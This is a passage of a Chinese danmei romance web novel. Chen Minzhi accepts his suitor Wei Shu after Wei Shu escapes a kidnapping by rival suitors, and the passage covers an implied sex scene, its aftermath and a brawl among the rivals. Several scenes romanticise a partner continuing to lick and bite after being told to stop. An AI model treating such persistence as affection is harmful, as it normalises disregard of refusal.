卫殊目光落在他身上:“可你看上去不太高兴。” 陈悯之叹了口气,在路边的长椅上坐下来。 “我只是不知道要怎样去面对了。” 卫殊问:“面对什么?” 陈悯之抬眸看他一眼, 又别过头去:“面对你还有他们。” 他不再是从前那只只会逃避的鸵鸟, 选择直面一切,但依旧不知道应该怎样去处理这样复杂的事情。 这对于他一直都很简单的脑子来说,太困难了。 他们都说喜欢他, 而他们的喜欢各不相同, 有的温柔绵长, 有的阴暗深沉,有的明朗炽热, 有的偏执病态, 但同样都沉重得让他喘不过气。 卫殊沉默半晌, 道:“你可以不喜欢我。” 陈悯之怔然抬眼:“什么?” 男人高大的身影在他跟前半跪下来, 像只收敛爪牙、主动屈膝臣服的大型猛兽,他盯着陈悯之的眼睛,一字一句地重复道:“你可以不喜欢我, 悯悯。” “喜欢你是我擅作主张,并未经过你的的同意,所以,如果我的爱让你感到压力,你可以选择抛弃它。” “当然,出于私心,即使有万分之一的可能,即使要经过许多个年月的等待,我也希望你能够接受它。” 陈悯之呆呆地看向卫殊。 这其实算是卫殊对他的第二次告白,第一次是在静水山庄,在他从那个带有酒意的吻之中仓皇逃离后,而这一次,却是在这样熙熙攘攘的街边。 两次的场合都显得有些仓促,但奇异的,比起另外几人对他告白时的场景,陈悯之此刻内心却并不感到慌张,反而,连心中先前那一丝浮乱都平静下来。 因为这一次,他有了拒绝的权利。 “但无论你做出怎样的选择,我都会尊重你。” 男人牵着他的手,半跪着望向他,仿佛骑士在对他的公主许诺:“我向你发誓,永不违背你的意愿。” “但是,我也想要从公主殿下这里讨要一样东西。” 陈悯之愣愣怔怔问:“什么东西?” 男人凸起的眉弓眼窝处投下阴影,却更显得那双兽眸灼烁如火:“我希望,你能给我永远在你身边守护你的权利。” 陈悯之看着他,没有回答。 周遭人声喧嚷,但陈悯之听得清晰,在他的胸腔中,一颗鲜活的心脏重重跳了一下。 * 寒假已经到了尽头,没几天便开学了。 大概是因为身受重伤,恢复还需要时间,躺在医院里的那三位伤员暂时没来找什么麻烦,陈悯之这一周都过得很清静。 只是卫殊依旧十分警惕,每天都如临大敌地护送他上下学,连上课和中午吃饭都要陪着他一起,好像生怕他半路突然被人绑了。 陈悯之有些无奈:“你不用这样寸步不离地跟着我,我觉得他们现在已经不会来了。” 毕竟,应该没有人在被揍成那样后,还想要再来被揍第二次。 他觉得卫殊给那几个人的教训已经足够作为警告了,这段时间那三个人都安分守己得不行,别说来找他,连消息都没发来骚扰他过。 然而卫殊却依旧神情凝重:“事出反常必有妖,悯悯,我还是觉得不太对劲,这段时间你都跟在我身边,不要乱跑。” 见他坚持,陈悯之也只能作罢。 但这样一来,每天和卫殊在一起的时间就显得格外多,两人每天一起上下课,一起吃饭,一起睡觉,不是恋人,却胜似恋人。 好吧,其实在那天告白过后,卫殊主动退回了地板上睡,陈悯之怎么劝都不肯再上床。 男人就像是因为小兔子的害怕,主动退到了让弱小的动物感到安全和舒适的距离。 只是,时不时的,陈悯之依旧能从生活的缝隙中,感受到男人快要满溢出来的、汹涌而霸道的爱意。 比如上课的时候,卫殊从不看黑板,而是一整节课都盯着他看。 陈悯之被他看得脸热,问:“你一直看我做什么?” 卫殊想也不想地答:“老婆好看。” 陈悯之跟做贼似的四下张望一圈,发现大家都在听课的听课,玩儿手机的玩儿手机,没人注意他,这才转回头,臊红着脸对卫殊道:“你小声一点,而且不是说了,在外面不要乱叫我老婆吗。” 在家就算了,反正他说了多少次卫殊都不听,也只能随他去,但在外面,陈悯之实在是拉不下那个脸。 他一个大男人,被人叫老婆像什么话。 卫殊看着他,很听话地压低了声音:“好的老婆,知道了老婆。” 陈悯之:“ ” 再比如,每次在家做饭的时候,卫殊都不让他进厨房,一个人包揽了所有的活儿。 要是陈悯之过意不去,非要进去帮忙,男人就会像抱小孩子一样把他抱起来,横坐在小麦色的臂弯上,一路把他抱到沙发上坐着。 要是陈悯之再跑进去,就再抱出来,一次一次,不厌其烦。 但这种方式重复多次后会出现问题,某次把他从厨房抱出来后,男人的眼睛肉眼可见地红了。 声音也沙哑得可怕,仿佛饿久了的野兽:“悯悯,别再跑了。” 春天衣服穿得薄,以至于被男人的臂弯圈住时,陈悯之可以很清晰地感受到从某处传来的不正常热度。 “你、你”即使已经面对过很多次这种情况,陈悯之还是霎时从头红到脖子根,他怯怯地往沙发后面缩了缩,生怕这只饿红了眼的野兽下一刻就扑上来,一口将他给吞了。 但卫殊从来没有这么做过。 男人像是在用行动将他证明,他的爱是炽烈的、不动如山的,却也是安全的,不会如同真正的烈火般将他灼伤。 就好像即使陈悯之不爱他,他也可以永远像这样,将自己的獠牙与利爪锁住,停留在一个安全距离内,将他的公主永远守护下去。 * 卫殊失踪了。 两个人每天分开的时间并不多,因此身边形影不离的人一失踪,陈悯之很快就察觉了不对劲。 卫殊是在一天下午出去买菜后,就再也没回来的。 陈悯之一开始以为是他的公司出了什么急事要他处理,但转念一想,卫殊不是那种有急事就不接他电话的人。 他第二个想到的是出车祸,于是他急急忙忙去买菜的路上找了一圈,但没有发现任何车祸的痕迹。 但按理来说,卫殊一个一米九几、拿过全国格斗冠军的大男人,在外面应该出不了什么事,即使那几个人报复来打他,也没人打得过他才对。 陈悯之一晚上辗转难眠,忽然发现没了睡在地板上的卫殊,他是如此地不习惯。 第二天傍晚,还没等到人的陈悯之已经打算去报警了,房门却在这时砰咚砰咚地被敲响。 一打开门,他就被外面浑身是伤的男人吓了一跳。 “卫殊?”陈悯之瞪大眼睛,“你去哪儿了?怎么受了这么多伤?” 男人一身的血污,一双眸子却依旧如同灰烬中的火星:“老婆,我没有跟人打架。” 陈悯之一愣。 他怎么也没想到,卫殊回家后说的第一句话竟然是这个。 陈悯之:“别管那些了,快进来。” 卫殊这才跟一条得到允许的大型犬一般,跟在少年身后进了屋。 陈悯之看着他身上那些令人心惊肉跳的血痕,心疼地想要伸手去查看,却被卫殊一把攥住了手。 “老婆先别碰,我身上脏。” “哦。” “我去洗澡,老婆你等我一下。” “好。” 不一会儿,卫殊裹着条浴巾出来了。 男人赤.裸的上身上覆盖着青红淤紫的新鲜伤口,与不久前的旧伤交叠在一起,触目惊心。 陈悯之光是看着都觉得疼,问:“昨天到底发生了什么?” 卫殊沉默一会儿:“有人绑架了我。” 卫殊告诉陈悯之,他是在买菜回来的路上,被人从后面用麻.醉.枪打了一针,然后在昏迷状态下被绑上了一辆黑车。 只不过,那些人大概低估了他体质的强悍,麻醉的剂量不够,他在半途就醒了。意识清醒后卫殊也没有轻举妄动,而是继续装睡,直到车辆在中途的一个休息点停下。 他趁着其他人都走了,身边只留下一个看守的人,挣脱绳索,还把那人反绑了起来,逼问他们的目的。 然后卫殊才知道,这辆车是要开往缅甸的,目的是走偷渡的路径,把他从海上运往非洲。 至于背后的雇主,虽然对方死活说不知道,但不用想都知道是哪三条。 陈悯之听得目瞪口呆,又是心疼又是生气:“太过分了!他们怎么能这样!” 怪不得那几个人最近这么安静呢,原来打的是卫殊的主意!但就算是因为被卫殊打了之后报复,这也做得太过分了点儿! 陈悯之义愤填膺地站起身:“我去找他们!” 卫殊拉住他:“老婆,他们把我绑走,就是为了得到你,你去找他们,反倒正中他们下怀。” 陈悯之急道:“那也不能让你白白受罪。” 卫殊:“老婆放心,我已经报警了。” 虽然以那几个人背后的势力,并不能治他们什么罪,但以卫家施压,让他们在拘留所里吃点苦头却不是难事。 陈悯之:“你身上为什么会有这么多伤?他们打你了?” 卫殊:“没有,是我逃跑途中从山崖上滚下去弄的。” 陈悯之红着眼睛看他,没有说什么怎么这么不小心的话,逃往之路凶险,卫殊一定是不得已才会这么做。 他只是一边以极轻柔的力度给卫殊处理伤口、上药,一边吹着气问:“疼吗?” 卫殊看着少年那双担忧的眼睛,终究没有说谎:“很疼。” “那怎么办。”少年抿着嘴巴,一筹莫展的模样。 卫殊盯着他不说话。 陈悯之对上那双灼灼的、如同兽类一般的眸子,心头蓦地一跳。 他好像想起了什么。 像是很犹豫似的,他攥着自己的指节半晌,闭上眼,慢慢地凑过去,在男人脸上的伤口旁轻轻亲了一下。 面容柔净的少年眼睫颤颤,像被风暴裹挟着的蝴蝶:“现在,有好一点了吗?” 第54章 第 54 章 “我是公主的狗。”…… 54 男人身材高大, 即使坐着也比陈悯之高出一大截,背着光,英俊的脸落在阴影中, 却更显得那双眸子炯炯有神, 如同潜藏在黑夜里捕食的猛兽。 他也不说话,就这么一动不动地盯着少年, 盯着少年刚刚亲吻过他伤口的嘴唇。 陈悯之被他看得脸颊发烫,移开目光,磕磕巴巴道:“看、看我做什么,你不是说,亲一下,就会不那么疼了吗” 话音未落,一股大力忽然挟住他的腰, 将他往一个方向带去。 男人滚烫的唇舌覆了上来, 撬开他的齿关,直逼他的内里,如同一簇烈烈燃烧的火焰, 一瞬间将他点燃。 卫殊的吻和他这个人一样炽烈、凶悍、强势而野蛮, 是那种完全不允许他有一丝一毫逃避的吻法, 男人大掌摁着他的腰,一手扣着他的后脑, 将他按得动弹不得, 浑身都被男人身上霸道的荷尔蒙气息包裹。 少年软嫩的小舌.头被强势地咬住, 叼在齿尖反复品味, 男人粗糙的舌.头一次次在舌心软肉上碾过,像在品尝什么糕点般吃得啧啧有声,少年被亲得嘴巴都合不拢, 口间水液顺着唇角流下来,又被男人一滴不剩地舔干净。 “唔——”陈悯之抬手去推身前的胸膛,只推到硬邦邦的一堵,铜墙铁壁似的,与之相比,他手上的力气简直软绵绵得不像话。 更奇异的是,比起被剥夺氧气后导致的身体脱力,更多的似乎是他的身体自身在发懒,不愿意去推拒身前的男人。 他的身体并不排斥男人的亲近。 陈悯之脑子里忽然闪过之前在网上看到过的一种说法:你的身体比你的心更诚实,它会接纳你喜欢的人,排斥你抗拒的人。 走神间,唇瓣忽然被人咬了一口,力道不大,却足以把陈悯之飘走的思绪拉扯回来。 男人咬完了之后,又用舌.头在那一小块牙印上舔了一圈,仿佛兽类留下自己的气味与□□,作为一个充满占有欲的标记。 做完后,一只覆盖在唇上,快要将他烫化掉的唇舌终于离开了,走之前甚至还牵扯了一缕银丝,被男人一丝不落地用舌.头卷进嘴里。 陈悯之一双乌黑眼睛被亲得水濛濛的,呆呆愣愣的,像只被亲懵了的兔子。 卫殊双目如钩,牢牢锁在他身上,声音又沉又哑:“悯悯,你心里有我。” 陈悯之望着他,白皙的耳朵尖染上桃花似的粉,期期艾艾道:“我、我” 他其实到现在脑子都还是混沌的,他有些不明白他的身体在面对卫殊的亲吻时为什么不反抗,他的理智在面对卫殊的话时又为什么不反驳。 但男人替他指明了答案:“你不会主动亲你不喜欢的人。” 陈悯之茫茫然想,是这样吗?他是喜欢卫殊的吗? 他这辈子还没有喜欢过什么人,原本他一直以为自己是喜欢女生的,但好像好像他这辈子也没办法再去喜欢女生了。 毕竟他睡都跟男人睡过了,而且跟男人睡的时候居然还能奇异地感到很舒服完了,他这辈子是不是都只能跟男人睡了。 陈悯之的思维持续跑偏,但眼前的男人却难得强势起来,不容他有一丝一毫逃避的机会,卫殊捧着他的脸,定定道:“悯悯,告诉我,你喜欢我吗?” 喜欢到底是什么呢? 卫殊对他表白时的心动是喜欢吗? 卫殊消失时他的不安是喜欢吗? 卫殊受伤时他的心疼是喜欢吗? 卫殊吻他时他身体本能的顺从是喜欢吗? 陈悯之不能确定,他脑子从小就笨笨的,别人一遍就能想明白的事他需要想许多遍才能明白。 于是他在脑子里想了很多很多遍,最终想明白了两件事。 第一,顾明珏、秦陌、陆承轩都说喜欢他,而他们喜欢他的方式,是将他紧紧绑在身边,一步也不许逃离。由此可见,喜欢一个人,大概会时时刻刻都想要和他待在一起。 第二,他希望卫殊永远在他身边。 于是,在仿佛一个世纪那样漫长的静谧中,额心紧绷、目光焦灼的骑士,终于等到了公主的回答。 陈悯之缓缓地,却十足坚定地点了点头:“喜欢。” 卫殊愣了一秒,随即便是被铺天盖地的狂喜淹没,他大力将少年拥入怀中,声音急切道:“悯悯,你再说一遍。” 陈悯之耳根子不知何时已经红透了,他小小声说:“不是说过了吗” 但身形比他高大宽阔了快一倍的男人,此刻却像个耍赖的小孩子一般,像抱着心爱的糖果般紧紧抱着他,声音宛如诱哄,又近乎乞求:“再说一遍,再说一遍好不好?悯悯?” 陈悯之于是轻轻拍着他的背说:“我喜欢你,卫殊。” 几乎是在他说出这句话的同一瞬间,男人滚烫的吻就再次落到了唇上。 这个吻比上一个更热烈,夹杂着少年人不可抑制的心动与狂喜,几乎失了分寸。 陈悯之直到这时才明白卫殊之前亲他都是收着的,男人真正发起狠来就跟发.情的兽一般,粗大舌.头卷着他的一个劲儿地吮,舌.头都给他吸酸了,力道也大得吓人,别说嘴唇一周,连下巴上都是男人留下的咬痕。 不过这一次,陈悯之没有再试图伸手推开男人,而是打开双臂,环抱住了身前宽厚结实的臂膀,然后顺着男人的攻势,向后仰倒在了沙发上。 向来只会承受的少年,也开始笨拙却可爱地,学着主动伸舌.头去和自己的爱人接吻,好让对方的爱意得到回应。 两人呼吸交错,空气间都是暧昧的水声。 卫殊忘情地吻着他,从少年樱红饱满的唇珠吻到小巧白皙的耳垂,犬类做标记一般,霸道地在那光洁皮肤上留下一枚咬痕,还很幼稚地,要把两个耳朵都咬一遍。 男人齿尖锋利,陈悯之被他咬得有些微疼,下意识瑟缩了一下,咕哝着:“你怎么跟狗一样” 卫殊抬起头,撑在他身体上方,声音沙哑地回答:“我就是狗。” 陈悯之:“?” 陈悯之:“什么?” 还是第一次听见有人说自己是狗的。 卫殊望着他,郑重道:“我是保护公主的狗,为公主所驱使的狗,我永远不会伤害公主、背叛公主、离开公主,即使有一天公主将我丢弃,我也会用余生践行我的誓言,直到死亡。” 这话听起来有些荒诞,像是什么玛丽苏爱情偶像剧里的台词,还是几十年前的那种老土版本,但奇异的,陈悯之却因为这段话,心脏饱胀得像是被浸泡在温水中。 而这些天一直困扰在他面前的那片迷雾,也仿佛忽然间被风吹散了。 他不再彷徨,因为他已经在风暴中做出了选择。他不再害怕,因为他知道他身旁会一直有人守候。 陈悯之笑起来,笑得乌润眸子都弯弯的:“那么,狗狗可以得到公主的奖励。” 卫殊眸光滚烫,火焰一般在他身上燃烧:“什么奖励?” 陈悯之说:“你等一下。” 说罢,把压在身上的男人推开,一个人跑进了卧室,关上门。 卫殊独自坐在沙发上,明明浑身是伤,他却像完全感受不到痛一般,能感受到的只有从心脏处传来的,濒死一般的狂喜,以及喉咙里快要将他灼干的渴意。 仿佛过了一个世纪那么漫长,卧室门咔哒一声打开了。 卫殊望着从里面走出来的人,呆得忘记了呼吸。 少年穿着一身浅粉色的公主裙,裙摆层层叠叠地蓬起来,仿佛盛开的花瓣,而花瓣中心的人却比花儿本身更娇艳。 仍然是乌黑柔软的头发,仍然是那圆润干净、像是某种软乎乎的小动物一般的眼睛,仍然是眼角那一颗淡红色的小痣,仍然是那天真未改、如同湖水般清澈透明的心,仍然是他一眼万年、此生不忘的小公主。 他穿过时光的藩篱,再次来到了他的身边,一如初见。 而这一次,他将再也不会将他的公主弄丢了。 陈悯之看了眼如同雕像一般伫立着的男人,有些不好意思地低下头:“好看吗?” 这套裙子是卫殊最开始送给他的,他这还是第一次穿,没想到这么合身。 久久没得到回答,陈悯之疑惑地抬头,下一刻,身体却忽然悬空! “你干什么!”突然被人拦腰抱起的陈悯之发出一声惊呼。 卫殊把才从卧室走出来的他又抱回去,放倒在床上,高大身影撑在他上方,声线低沉地道:“公主殿下。” “嗯?”陈悯之对他突然的动作感到不解,却也没有挣扎,乖乖地躺在床上,用一双黑白分明的圆眼睛望着男人。 卫殊眼眸深暗:“我现在身上很疼。” 陈悯之微愣,随即会意,红着脸,扶着卫殊鼓胀有力的胸肌,凑上去在男人粗糙面皮上亲了一下。 可正当他以为这样就完了的时候,男人却忽然扣住他的手,声线嘶哑道:“不够,还是很疼。” 亲都不行了,陈悯之担忧又无措地说:“那怎么办?要不我还是带你去医——” 他的话在喉咙里戛然而止。 因为男人已经低下身,低哑的声线附在他的耳边:“不用,做一下就好了。” 陈悯之往下一瞅,羞得瞪大眼睛:“你” 男人的眸子已经完全被情.欲染红,额上青筋鼓动,仿佛一头濒临疯狂的野兽,却还是握着少年的手,放在唇边吻了吻:“可以吗?公主。” 许久,穿着粉裙子的小公主红着脸,点了点头。 反正卫殊说一下就好了,应该也不会很久,彼时,天真的小公主如是想道。 第55章 第 55 章 “老婆,你好像比之前更…… 55 陈悯之十分后悔昨天的决定。 卫殊的确只做了一次, 但这一次被天赋异凛的男人故意延长到了两小时,陈悯之到最后连叫都叫不出来,怎么晕过去的都不知道。 现在卫殊倒是不疼了, 可他腰疼, 肚子疼,屁.股疼, 哪哪儿都疼。 也不知道怎么能那么长他昨天总觉得肚子都要被捅.穿了,吓得一个劲儿地哭,流下来的眼泪却被男人像狗一样全部舔了个干净。 现在好了,大清早起来的卫殊神清气爽,一点儿也不像是受过重伤的样子,倒是他躺在床上,整个人萎靡不振, 跟被吸干了精.气一样。 卧室门咔哒一声打开, 身形高大的男人赤.裸着上身,身上拴了个围裙,身前两块饱满的胸肌把围裙布料撑得鼓起, 他露在外面的手臂和后背上遍布着伤痕, 大部分是一些撞伤和擦伤, 但还有一些是新添的抓痕。 那抓痕在男人小麦色的皮肤上显得很浅,也很短, 像是某种四肢短短的小动物给挠出来的。 而少年身上的痕迹, 就要深重许多了。 从白皙的脖颈到胸口, 处处都是青紫色的吻痕、咬痕, 纤长锁骨上留下了一连串交叠的牙印,跟被狗啃过似的,还有更多彰显着占有欲的痕迹, 延伸进被纯白色睡衣遮挡的地方。 卫殊视线落到那些痕迹上,咽了咽喉咙,端着粥走过去,对趴在床上摊成一滩小兔饼的少年道:“老婆,吃饭了。” 陈悯之从喉咙里闷闷地哼了一声,把脑袋背过去,只露出一个圆圆的后脑勺。 这幅样子,显然是不太高兴了。 毕竟性格再温顺的兔子,也会有脾气。 卫殊自知理亏,也没敢再说什么,走过去把粥放下,抬手覆在少年凹陷下去的后腰上,轻轻揉按起来。 谁知下一秒,一只雪白的兔爪子“啪”地一声打在他手上,将他的手打开了。 一抬眼,只见少年红着眼睛,凶巴巴道:“不准再来了,你昨天还没弄够吗!” 卫殊就跟一只犯了错的大狗般讪讪收回爪子,干巴巴道:“我只是想给你揉腰” 陈悯之戒备地说:“不要你揉,我自己揉。” 谁知道这狗会不会揉着揉着又摸到别的地方去。 于是他趴在枕头上,抬起手臂反手去揉自己的腰。 换做在平时,这其实是一个非常简单的动作,但这样简单的动作现在对陈悯之来说却难如登天。 因为他不仅腰疼,手臂也是疼的,还酸软得使不出力气,没揉两下就放弃了,破罐破摔地继续趴在床上。 过了会儿,又觉得有些委屈,眼睛里包起了两团泪花。 谁能想到就在几个月前,他刚上大学的时候,还满心想着要娶老婆的,现在他不仅娶不了老婆,还要给别人当老婆,肚子都被弄得大起来,涨得他难受。 卫殊一见他哭,整个人立马慌了,手足无措地想去抱着人哄,想起刚才被少年拍开手的场景,又怕惹少年生气,于是只能像站桩一般杵在床边,满头大汗地哄人:“老婆别哭,别哭啊,都是我的错,是我失了分寸,我以后再也不弄那么久了,下次我会注意轻点儿的” 话音未落,一个抱枕在半空中朝着他飞来,正砸在他脸上。 一回头,少年红着眼睛瞪他:“你还说!没有下次了!以后你要是再受伤,就自己去医院!” “好、好,以后我自己去医院,老婆你别生气了。”卫殊满口答应,心里却想着,这都是他老婆了,这辈子都是他的人,以后的“下次”还多着呢。 卫殊好说歹说,终于把气成一只小河豚的少年给哄好了,把人从被窝里捞起来,放到自己怀里,一口一口地喂少年喝粥。 陈悯之靠在男人温暖厚实的胸膛上,乖乖地吃男人喂过来的饭,吃了两口才反应过来,他怎么这么自然地就接受了被人喂饭这种事情?跟照顾小宝宝一样。 想到这里,他又觉得有些羞耻,伸手去抢卫殊手里的勺子:“我自己来。” 卫殊没给他:“不是手酸?” 陈悯之小声道:“那也不至于吃饭都要人喂吧,我又不是没长大的小宝宝。” “你是。”卫殊却看着他的眼睛,目光灼烫,“悯悯,在我这里,你可以永远都做公主宝宝。” 饶是已经被卫殊打过许多次直球,陈悯之也被这样热烈又坦诚的情话打了个措手不及,他脸颊红得像煮熟了的虾子,嗫喏去捂卫殊的嘴:“你说什么呢,不许再说了。” 公主就算了,卫殊总喜欢这么叫他,但他都成年了,才不是什么小宝宝。 但陈悯之没想到,他的手刚一贴上男人的嘴,掌心里就传来濡湿的触感,男人粗粝舌.头舔着他手心的软.肉,仿佛品尝什么美味般吃出了水声。 陈悯之又羞又气,想要收回自己的手,却被男人的大掌攥住手腕,镣铐似的让他动都动不了。 “放开!不准舔了!”他急道。 然而男人仿佛忽然间着了魔似的,完全听不见他说的话,而是抓着他的手,舔得变本加厉,粗大的舌头像是鬣狗般伸出来,贪婪地舔舐着他的手心、手背,连指头缝里都被留下黏糊糊的水液,还叼住了他的指尖在嘴里嗦,咂出细密黏.腻的水声。 “卫、卫殊!”陈悯之简直不明白一直都还算听话的男人,怎么突然间就跟发疯一样听不懂话了。 挣扎半晌无果,陈悯之的手比脑子更快,“啪——”的一巴掌扇了过去。 卫殊舔舐他的动作停下了。 男人脸上顶着一个清晰的五指印,像是终于被这一巴掌扇清醒了,唇角还残留着水液,眼底带着尚未褪去的痴色,怔怔地望着他:“老婆” 陈悯之收回手,红着眼睛瞪他。 不到万不得已,他也不想打人的,但经验告诉他,每次碰到这些男人发疯的时候,不给一巴掌出去他们是不会停止的,于是每次他的身体反应都比脑子更快,大脑还没下达指令,巴掌已经挥出去了。 陈悯之气鼓鼓地说:“我把手伸过去是让你闭嘴,不是给你舔的!” 卫殊用舌头卷去唇边残留着的甜香气,讷讷道:“对不起,老婆,你好像比之前更香了。” 如果说从前少年身上的味道是檐下的雨滴,干净而青涩,而如今,他身上的味道却像是枝头饱满成熟的果子,飘散着熟透了的甜香,连带他整个人的气质都发生了改变,变得醇熟而勾人。 雪白皮肤上印着星星点点的吻痕,偏偏那双乌黑眼睛又是纯澈无辜的,导致他整个人散发着一种看似矛盾却又和谐的,纯情与诱惑并存的魅力。 卫殊说着,鼻尖便不自觉地往少年身上贴近过去,像是被肉味儿勾着鼻子走的狗,眼睛都直了,有一种自我意识缺失的憨傻感。 香好香越近,那香气便越浓郁,等卫殊反应过来的时候,他已经将那块儿最香最软的地方叼进了嘴里,一个劲儿地嘬,仿佛狗嘴含着宝贝似的不松口。 “啪——”一个清脆的巴掌落在了他另外半边脸上。 狗嘴松开了。 现在卫殊左右两半边脸上都印着巴掌印,十分对称,但就是他脸黑,巴掌印在上面不明显,看上去好像还能再挨很多掌。 少年眼眶通红,眼睛里包着点点晶莹,雪白的胸口上下起伏,显然是气急了,像只气得连耳朵都竖起来的兔子。 连挨两巴掌,卫殊这才后知后觉地意识到,自己好像真的把少年给惹生气了。 “我错了老婆,我不闻了,你再香我也不闻了,你别生气”他忙不迭地道歉,但少年在接二连三地被欺负后,显然是已经哄不好了。 陈悯之抓着睡衣的衬衫领口,紧紧遮挡着自己的前胸,脸色红红白白地控诉道:“你那是闻吗!你根本就是就是!” 虽说昨晚比这更激烈的也不是没有做过,但他生来脸皮就薄,要他说出那几个字他还真开不了口。 卫殊干巴巴道:“我一开始是只想闻的,后面也不知道怎么就咬上去了” 但已经挨了欺负的兔子,已经不似从前那样单纯好骗了,他现在再也不信这些从狗嘴里吐出来的鬼话了,更何况那狗嘴上说着,眼睛却还直溜溜地盯着他刚被欺负过的某处看,看上去馋得口水都快从齿缝里滴下来了。 陈悯之抄起枕头砸过去,瞪着眼睛说:“出去!你今天都不准再亲我!” 卫殊一愣,急忙道:“老婆” 陈悯之:“不准再叫我老婆!” 卫殊还想道歉哄人,但眼看少年越来越生气,也只得听话地讪讪退出房门,像只犯了错事,灰溜溜被主人赶出家门的大型犬,如同他身后有尾巴的话,现在一定也已经垂下来了。 然而,就在卧室门关闭的前一瞬间,一颗狗头从门缝里伸进来:“老婆,那明天呢?” 陈悯之终于忍无可忍,抄起床上的最后一只枕头,对着那只狗头砸了过去:“滚!” 世界清净了。 陈悯之头疼地叹了口气,撑着酸痛的腰,换好衣服去洗漱,一边洗一边开始怀疑起自己昨天所做决定的正确性。 然而耳边清净了没多久,外面忽然传来一阵乒乒乓乓的打斗声,听上去还是他家门口传来的。 陈悯之连忙放下手中物事跑出去,这一看,险些没两眼一翻当场晕过去。 狭窄的楼梯间内,四个男人像是杀红了眼的疯狗般,扭打成了一团。 第56章 第 56 章 “我只是,不爱你而已。…… 56 说是扭打成了一团其实不太准确, 准确来说是另外三个人对卫殊的单方面围殴。 但卫殊毕竟力气惊人,格斗技巧更是拿过全国冠军的水准,就是一打三也没被打趴下, 而是和三个人打成了个平手, 双方你来我往,谁也没捞到好处。 陈悯之作为一名遵纪守法的五好青年, 哪里见过这种打群架的架势,吓得脸色苍白,在原地呆了三秒,当看到卫殊被斜刺里飞来的一拳揍得鼻血横流时,才猛然回过神,大喊道:“住手!” 然而四个男人此刻都跟杀红了眼的野兽一般,哪里还能听到少年的呼喊, 兀自在狭窄的楼梯间内打得头破血流。 陈悯之看得心惊肉跳, 再也顾不得许多,冲到缠打成一团的男人们中间,拼尽全身力气扯开了其中一人, 奋力喊道:“我让你们住手!” 这次, 失去理智的野兽听见了他的声音。 空气中安静下来, 几双同样猩红的眼睛不约而同地落在他身上。 这时,耳边忽然传来细密黏腻的水声, 陈悯之一扭头, 发现是刚才被他从人群中扯出来的陆承轩, 正贴在他身侧, 像小狗一样用舌.头舔他的脸。 陈悯之有些恼地推开他:“陆承轩!” 这都什么时候了,这人竟还有心思在这儿舔他! 陆承轩像是被主人点到名字的小狗般,冲他眨眨眼睛:“哥哥。” 那副乖巧的样子, 仿佛下一秒就要摇尾巴了,只是配上他那被打肿了的眼睛、裂了口的嘴角,显得有几分滑稽。 处理完这只,陈悯之又看向剩下三条,只见个个鼻青脸肿,和陆承轩比起来有过之而无不及。 其中,卫殊脸上的伤最重,身量高大的男人低着头,目光躲闪,五指不安地捏着,像只犯了错不敢看主人的大型犬。 至于剩下的两人,眼珠子则跟强力胶似的,死死黏在他睡衣领口露出来的脖颈上,那雪白皮肤上印着交错的吻痕,又深又重,一看就是被人凶狠地吮了很多遍。 感受到二人过于灼烫的视线,陈悯之有些不自然地拢了拢衣服,轻咳一声:“怎么又打起来了?” 卫殊闷闷地道:“是他们先动的手。” 陆承轩委屈地说:“哥哥,这还不都是卫殊拿着张假照片在朋友圈造谣,我们看不过去才动手的。” 陈悯之看向后面垂着脑袋的男人:“卫殊,你过来。” 卫殊慢吞吞地挪着步子过去了。 陈悯之:“你在朋友圈发了什么?” 卫殊眼神飘忽:“没、没什么。” 陈悯之向他伸出手:“手机拿来。” 卫殊又磨磨蹭蹭地从兜里摸出手机,递过去了。 陈悯之打开他朋友圈一瞧,只见一张双手交叠、十指相扣的照片赫然出现在屏幕上,男人又黑又宽大的手掌将少年白嫩纤细的手掌完全扣住,极具占有欲的模样,而少年中指上还戴着一枚硕大的钻戒。 配字曰:【今年和我老婆结婚,诚邀诸位见证。】 陈悯之看得目瞪口呆,转向卫殊:“我什么时候说今年要和你结婚了?” 而且这张照片是在什么时候拍的他都不知道,但照片上又确实是他本人的手,多半是昨晚卫殊趁他睡着了,不知从哪儿弄了个戒指给他戴上,偷偷拍下来的,拍完了又把戒指取了,导致昏睡到快中午的陈悯之对这一切一无所知。 卫殊目光直直看着他:“老婆,你不想和我结婚吗?“ 陈悯之脸上染上一抹红:“现在说那些还太早了。” 他和卫殊才刚在一起没两天,都还不知道合不合适呢。 想起什么似的,陈悯之小声说:“而且我还没到法定婚龄” 卫殊:“可以先把婚礼办了,后面再去领证。” 二人旁若无人地在这儿讨论,丝毫没注意到旁边三个人的眼睛一个比一个红。 陆承轩插到二人中间,挡住了陈悯之的视线,唇角扯出一个很勉强的笑容:“哥哥,你在说什么呢?是不是卫殊逼你做了什么?” 话音未落,只听一声肉.体撞击在墙上的闷响,秦陌死死揪住了卫殊的衣领,森森道:“是你逼他的对不对?” 倒是站位稍远一些的顾明珏,微凝着眉头,从始至终一言未发。 卫殊一动未动,只是冷眼睨向秦陌:“我从不会逼他做什么。” 秦陌咬牙切齿:“你说谎!” 陈悯之是直男,他不喜欢男人,他甚至有过和女人恋爱的幻想,秦陌比谁都清楚这一点,他怎么可能突然间就跟变了个人似的,和卫殊在这里讨论起谈婚论嫁的事情。 他不信,他怎么都不可能相信。 眼看二人又有要打起来的架势,陈悯之连忙上前去把人拉开:“你们误会了,卫殊没有逼我。” 在几个高大的男人之间,少年的身形显得格外纤瘦些,像只混入狼群中的兔子,却执着又勇敢地,挡在了身材比他高大了一倍的男人面前。 他乌黑眼睫敛着,耳根微红地道:“是我自己答应和卫殊交往的。” 空气中陷入长达一分钟的寂静。 半晌,秦陌漆黑的眼珠僵硬地转动过来,声线嘶哑:“你说什么?” 他只觉得耳边嗡嗡地响,一定是他听错了。 而剩下两个人,脸上的神情也无异于被雷劈中,僵硬惨白得可怖。 陈悯之以为他们真是没听清,于是很认真地重复道:“我说,我和卫殊在交往,他现在是我男朋友,你们不许欺负他。” 秦陌僵硬不动了。 他死死盯着陈悯之,目光几乎化作薄而锋利的刀刃,将少年那张白净柔软的脸从上到下刮了一圈,试图从中找到一丝说谎的痕迹。 可他没有。 他知道陈悯之不会说谎。 可是秦陌不明白这是为什么。 他原以为陈悯之不会爱人,那么他们四人之中,谁都得不到他的爱,也就罢了。 少年的心是包裹在顽石中的白玉,他边角圆钝,温吞而安静地活在自己的世界里,从不会将人刺伤,却也异常地坚硬,没有人能够破开那层保护壳,得到里面那颗最珍贵的心。 但现在,有人得到了这颗心。 这说明,这块顽石是能够去爱人的。 只是。他们不是获得神之爱的那个幸运儿。 在长达仿佛半个世纪的安静中,顾明珏温柔地开口:“悯之,能告诉我为什么是卫殊吗?” 